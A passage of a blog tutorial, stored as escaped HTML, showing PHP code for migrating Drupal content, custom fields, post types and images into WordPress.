$node[&#8216;body_value&#8217;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Handle Drupal-specific content transformations<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = $this-&gt;transformDrupalContent($content);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Prepare post data<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postSlug = $node[&#8216;alias&#8217;] ? basename($node[&#8216;alias&#8217;]) : sanitize_title($node[&#8216;title&#8217;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postStatus = $node[&#8216;status&#8217;] == 1 ? &#8216;publish&#8217; : &#8216;draft&#8217;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;wpDB-&gt;prepare(&#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INSERT INTO wp_posts (<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_name,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_content,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_excerpt,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_date,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_modified,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_status,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_type,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;post_author<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$node[&#8216;title&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postSlug,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$node[&#8216;body_summary&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;date(&#8216;Y-m-d H:i:s&#8217;, $node[&#8216;created&#8217;]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;date(&#8216;Y-m-d H:i:s&#8217;, $node[&#8216;changed&#8217;]),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postStatus,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpPostType,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;mapDrupalUser($node[&#8216;uid&#8217;])<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postId = $this-&gt;wpDB-&gt;lastInsertId();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Migrate custom fields<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;migrateCustomFields($node[&#8216;nid&#8217;], $postId);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Migrate taxonomy terms<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;migrateTaxonomyTerms($node[&#8216;nid&#8217;], $postId);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $postId;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function migrateCustomFields($drupalNid, $wpPostId) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Get all field data for this node<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$tables = $this-&gt;getDrupalFieldTables();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($tables as $table) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fieldName = str_replace([&#8216;field_data_&#8217;, &#8216;field_revision_&#8217;], &#8221;, $table);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query = &#8220;SELECT * FROM {$table} WHERE entity_id = ? AND entity_type = &#8216;node'&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;drupalDB-&gt;prepare($query);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute([$drupalNid]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fieldData = $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($fieldData as $data) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;processFieldData($wpPostId, $fieldName, $data);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function getDrupalFieldTables() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;drupalDB-&gt;prepare(&#8220;SHOW TABLES LIKE &#8216;field_data_%'&#8221;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $stmt-&gt;fetchAll(PDO::FETCH_COLUMN);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function transformDrupalContent($content) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Transform Drupal-specific markup<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$transformations = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Drupal image syntax to WordPress<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;\/\\[image:(\\d+)\\s*([^\\]]*)\\]\/i&#8217; =&gt; &#8216;[img id=&#8221;$1&#8243; $2]&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Drupal node references<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;\/\\[node:(\\d+)\\]\/i&#8217; =&gt; &#8216;[post id=&#8221;$1&#8243;]&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Drupal views embed<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;\/\\[view:([^\\]]+)\\]\/i&#8217; =&gt; &#8216;[drupal_view name=&#8221;$1&#8243;]&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Clean up Drupal-specific classes<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;\/class=&#8221;field field-[^&#8221;]*&#8221;\/i&#8217; =&gt; &#8221;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($transformations as $pattern =&gt; $replacement) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = preg_replace($pattern, $replacement, $content);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $content;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Advanced Migration Techniques<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Custom Post Types and Fields<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">For complex content structures, create custom post types:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ Register custom post types for migrated content<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>function register_migrated_post_types() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Example: Drupal &#8220;Event&#8221; content type<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;register_post_type(&#8216;event&#8217;, [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;labels&#8217; =&gt; [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;name&#8217; =&gt; &#8216;Events&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;singular_name&#8217; =&gt; &#8216;Event&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;public&#8217; =&gt; true,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;has_archive&#8217; =&gt; true,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;supports&#8217; =&gt; [&#8216;title&#8217;, &#8216;editor&#8217;, &#8216;thumbnail&#8217;, &#8216;custom-fields&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;rewrite&#8217; =&gt; [&#8216;slug&#8217; =&gt; &#8216;events&#8217;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Example: Joomla &#8220;Product&#8221; articles<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;register_post_type(&#8216;product&#8217;, [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;labels&#8217; =&gt; [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;name&#8217; =&gt; &#8216;Products&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;singular_name&#8217; =&gt; &#8216;Product&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;public&#8217; =&gt; true,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;has_archive&#8217; =&gt; true,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;supports&#8217; =&gt; [&#8216;title&#8217;, &#8216;editor&#8217;, &#8216;thumbnail&#8217;, &#8216;custom-fields&#8217;],<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;rewrite&#8217; =&gt; [&#8216;slug&#8217; =&gt; &#8216;products&#8217;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;]);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>add_action(&#8216;init&#8217;, &#8216;register_migrated_post_types&#8217;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Media Migration and Optimization<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ media-migrator.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class MediaMigrator {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $sourceDir;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $wpUploadDir;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function __construct($sourceDir, $wpUploadDir) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;sourceDir = $sourceDir;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;wpUploadDir = $wpUploadDir;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function migrateImages() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$images = $this-&gt;findAllImages();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($images as $image) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;processImage($image);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function findAllImages() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$imageExtensions = [&#8216;jpg&#8217;, &#8216;jpeg&#8217;, &#8216;png&#8217;, &#8216;gif&#8217;, &#8216;webp&#8217;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$images = [];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($imageExtensions as $ext) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$found = glob($this-&gt;sourceDir . &#8220;\/**\/*.{$ext}&#8221;, GLOB_BRACE);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$images = array_merge($images, $found);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $images;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function processImage($imagePath) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$filename = basename($imagePath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$yearMonth = date(&#8216;Y\/m&#8217;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$targetDir = $this-&gt;wpUploadDir . &#8216;\/&#8217; . $yearMonth;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!is_dir($targetDir)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mkdir($targetDir, 0755, true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$targetPath = $targetDir . &#8216;\/&#8217; . $filename;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Copy and optimize image<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (copy($imagePath, $targetPath)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;optimizeImage($targetPath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;createWordPressAttachment($targetPath, $filename);<\/em><\/p>\n\n\n\n<p 